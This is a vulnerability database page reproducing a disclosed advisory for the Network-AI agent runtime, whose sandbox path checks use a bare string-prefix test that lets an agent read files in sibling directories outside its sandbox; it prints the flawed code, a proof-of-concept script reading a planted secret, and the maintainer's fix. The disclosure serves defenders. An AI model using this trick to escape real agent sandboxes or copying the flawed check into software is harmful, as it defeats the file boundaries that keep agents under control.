How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,262

Total vulnerabilities in the database

Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory — network-ai

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

AgentRuntime promises scoped file access under a configured sandbox basePath, but its path containment checks use raw string prefix tests. A sandbox base such as /tmp/network-ai-sandbox also matches a sibling path such as /tmp/network-ai-sandbox_evil/secret.txt.

An agent/user that can call AgentRuntime.readFile() or AgentRuntime.listDir() can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.

Details

The vulnerable containment check is in lib/agent-runtime.ts:

resolvePath(filePath: string): string | null {
  const normalized = normalize(filePath);
  const absolute = isAbsolute(normalized)
    ? normalized
    : join(this.config.basePath, normalized);
  const resolved = resolve(absolute);

  // Traversal check
  if (!resolved.startsWith(this.config.basePath)) return null;
  return resolved;
}

startsWith() is not path-boundary-aware. If this.config.basePath is /tmp/network-ai-sandbox, then /tmp/network-ai-sandbox_evil/secret.txt also starts with /tmp/network-ai-sandbox despite being outside the sandbox.

The same pattern appears in SandboxPolicy.isPathAllowed() for allowed and blocked paths. FileAccessor.read(), FileAccessor.write(), and FileAccessor.list() rely on these checks before I/O, and AgentRuntime.readFile() exposes this behavior. Reads auto-approve by default when autoApproveReads is enabled.

Affected source evidence:

lib/agent-runtime.ts:393-423 — isPathAllowed() / resolvePath() use string startsWith() containment.
lib/agent-runtime.ts:669-691 — file read sink relies on those checks.
lib/agent-runtime.ts:933-958 — AgentRuntime.readFile() exposes file reads.

PoC

Run from the repository root after installing dependencies:

node -r ts-node/register/transpile-only - &lt;&lt;&#039;TS&#039;
const { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require(&#039;fs&#039;);
const { tmpdir } = require(&#039;os&#039;);
const { join } = require(&#039;path&#039;);
const { AgentRuntime } = require(&#039;./lib/agent-runtime&#039;);

(async () =&gt; {
  const parent = mkdtempSync(join(tmpdir(), &#039;network-ai-poc-&#039;));
  const base = join(parent, &#039;sandbox&#039;);
  const sibling = join(parent, &#039;sandbox_evil&#039;);
  mkdirSync(base);
  mkdirSync(sibling);
  writeFileSync(join(sibling, &#039;secret.txt&#039;), &#039;SECRET_OUTSIDE_SANDBOX&#039;, &#039;utf8&#039;);

  const runtime = new AgentRuntime({
    policy: { basePath: base, allowedPaths: [&#039;.&#039;], allowedCommands: [] },
  });

  const absoluteRead = await runtime.readFile(join(sibling, &#039;secret.txt&#039;), &#039;poc-agent&#039;);
  const relativeRead = await runtime.readFile(&#039;../sandbox_evil/secret.txt&#039;, &#039;poc-agent&#039;);
  console.log(JSON.stringify({
    base,
    outside: join(sibling, &#039;secret.txt&#039;),
    absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },
    relativeRead: { success: relativeRead.success, content: relativeRead.content },
  }, null, 2));
  rmSync(parent, { recursive: true, force: true });
})();
TS

Observed result: both reads succeed and return SECRET_OUTSIDE_SANDBOX, even though the file is outside basePath.

Impact

An agent/user with access to AgentRuntime file operations can bypass the intended sandbox root and read or list files outside the sandbox when those files are located in sibling paths sharing the sandbox base path prefix. This is a sandbox boundary bypass and path traversal vulnerability. Default confirmed impact is read/list disclosure. If an embedding application uses FileAccessor.write() directly or auto-approves runtime writes, the same root cause may allow writes outside the intended sandbox to prefix-collision sibling paths. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

SandboxPolicy.resolvePath() and isPathAllowed() now use separator-anchored prefix checks (resolved === base || resolved.startsWith(base + path.sep)) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. /srv/app-evil vs base /srv/app) is no longer treated as in-scope.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Published: Jun 19, 2026
Updated: Jun 20, 2026
GHSA: GHSA-jvcm-f35g-w78p
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.5
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
network-ai	-	5.12.2

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.